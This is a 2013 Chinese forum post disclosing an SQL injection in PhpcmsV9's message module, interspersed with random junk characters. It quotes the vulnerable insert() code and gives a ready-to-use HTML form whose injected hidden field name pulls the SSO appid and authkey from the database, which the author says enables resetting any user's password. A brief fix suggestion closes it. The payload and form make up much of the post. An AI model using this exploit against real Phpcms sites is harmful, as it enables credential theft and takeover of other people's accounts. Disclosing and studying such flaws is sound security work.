找回密码
 立即注册
查看: 2840|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
8 |5 L- {( ]! f8 L6 h$ b
' i/ U; O" N/ O/ O# g. _$ B第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。: O8 ~1 @+ U$ i7 y
9 w# h8 X; {2 w- Q# w+ h& b
明天再更新下一个漏洞。3 D0 C. o+ p- S8 W$ L' t3 r* S$ H6 X
详细说明:
3 L, L9 J5 B1 c/ V+ z6 V- \* _1 T在/phpcms9/phpcms/modules/message/index.php中有代码如下:4 M1 _# i2 P# R8 R2 e

7 j/ H3 z5 g, X' D* H. a1 ~, o9 o$messageid = $this->message_db->insert($_POST['info'],true);
% v( M" ?9 w, @) t& }
5 L. g/ b/ u( _+ m! ^! t" Q/ [. q' N7 f% A% u1 _
insert方法是key value的,代码如下:
/ |0 h" E/ P! V) u: @/ e2 L; O  f) g9 A! \: Q
public function insert($data, $table, $return_insert_id = false, $replace = false) {
7 C6 }: v$ v. A                if(!is_array( $data ) || $table == '' || count($data) == 0) {
) ]0 F/ d6 A! N  d. M                        return false;
+ {* [- v" |# j) e                }4 y2 b  C: J( }- M
               
9 u* ^( D  c+ N: B4 t$ b* w                $fielddata = array_keys($data);
6 Z) M: o! E# ?$ X$ ?                $valuedata = array_values($data);( o$ E1 V. Y7 g% m7 V
                array_walk($fielddata, array($this, 'add_special_char'));
) A% w: j3 j1 ^. ~) F+ ?                array_walk($valuedata, array($this, 'escape_string'));' f' k5 g" Q3 A& A1 S6 ]3 i
               
4 Y# O5 A( q/ s5 `8 X( e) Q9 p                $field = implode (',', $fielddata);3 m% {( ?" e# @  e
                $value = implode (',', $valuedata);
) z+ E+ M4 X% _& l/ V# T, u$ H
  j& W  B9 {8 I) I" i4 y3 j                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';& }; |& ^9 s5 ?
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
0 `# u$ R* }. _4 a$ i$ F! |                $return = $this->execute($sql);# Q+ Q8 p# ~+ V& X0 g
                return $return_insert_id ? $this->insert_id() : $return;3 z2 I4 ^- I" ~: c( j1 d# |; k
        }
; T% f1 s4 g% I$ ?2 `
& [: U6 Z8 x& i% W; e& E
5 f4 i. N. h) Q+ N+ d嗯,很遗憾的是, D' A7 S# B/ o# f- o; g% s# J/ j
9 W/ P  d$ ]1 @- R, f6 J. A
array_walk($fielddata, array($this, 'add_special_char'));1 u/ z8 M: s) x4 K

: s/ }. d) R4 I3 M
. i& C; ~% }, Q5 w9 |) D中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
7 i2 E  r) r6 _% |: {6 `4 E& p8 ~- ?! j1 Z. _( Z- L2 S# ]! V
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。' D! b' G8 _( }& o8 ~1 A% P# }: s5 I
' X" k& P/ l! P7 w2 B% B$ w
漏洞证明:
& @$ E5 l7 W! ?) T; H读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
! I2 b$ Z; W$ d4 e8 b( |  h' O' `( ?' q. |! _/ V3 D

) F0 Q. g( L. o$ E3 y: s5 z9 |  M3 w7 S表单如下:用户名什么的得自己改一改。
) k' V2 k# ]% b0 m$ {/ T<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
: ^- U( V5 ~. @9 t% G9 D<table width="100%" cellspacing="0" class="table_form">6 x9 K  S* X6 R& Q" _
<tr>
' d# _/ X1 [9 N* {% ]<th>标 题:</th>
6 C( r$ }9 W' m& A<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>2 ^/ `+ I# X/ V% z2 P
</tr>
: o  b$ f" r/ q<tr>
5 ^( [0 `! `$ G, L' k3 c! T2 X1 }7 M* t/ }<th>内 容:</th>" S1 H7 L6 F9 F  L
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td># t5 z% Y- w  n8 [0 F+ y
</tr>+ O) h/ u* |- O9 k9 n/ p
<input type="hidden" name="info[replyid]" value="2" /> 9 l5 `" \3 C% H3 D7 S& `
<input type="hidden" name="info[send_to_id]" value="cc" /> + e# R. ~) e& p2 l5 d% \
<input type="hidden" name="info[send_from_id]" value="hh">( E+ B: M+ ^; N: H
<!-- 漏洞的利用重点在这里开始 -->( X' s: [5 J& ]  b& j5 R
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 6 q' ^7 P$ d+ L! k: g
<!-- 漏洞的利用重点在这里结束 -->7 T( s& L/ M% z: s# s
<tr>, D7 L; s$ i9 G
<th>验证码:</th>
, s2 n- G# q6 i) t/ d<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>3 W3 o4 N# i2 u, z$ W# o
</tr>& q  U$ i/ e! F' O6 u
<tr>; g7 Q% b" a" G1 L4 y; w/ Z% f
<td></td>
( s/ `$ M) ]. i<td colspan="2"><label>
6 T2 C) C. [& \) g2 Q<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
9 {* o% Y9 J+ Y9 u3 V8 G; y</label></td>$ _) ~( L2 ]  i( k# S2 v% w
</tr>
$ v! a" O/ _* O$ P7 Q8 D</table>
, v, v" T9 n) J; y+ U</form>1 ]& J) d' t5 x: u2 E7 h
在add_special_char函数内对key做过滤就可以了。1 Q; A5 w3 a) C/ x3 N
6 g$ t% d: F; H, x, U- ]

! I% z% A; J) h2 v5 l- @
8 o, j3 @2 x  I' O& v

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表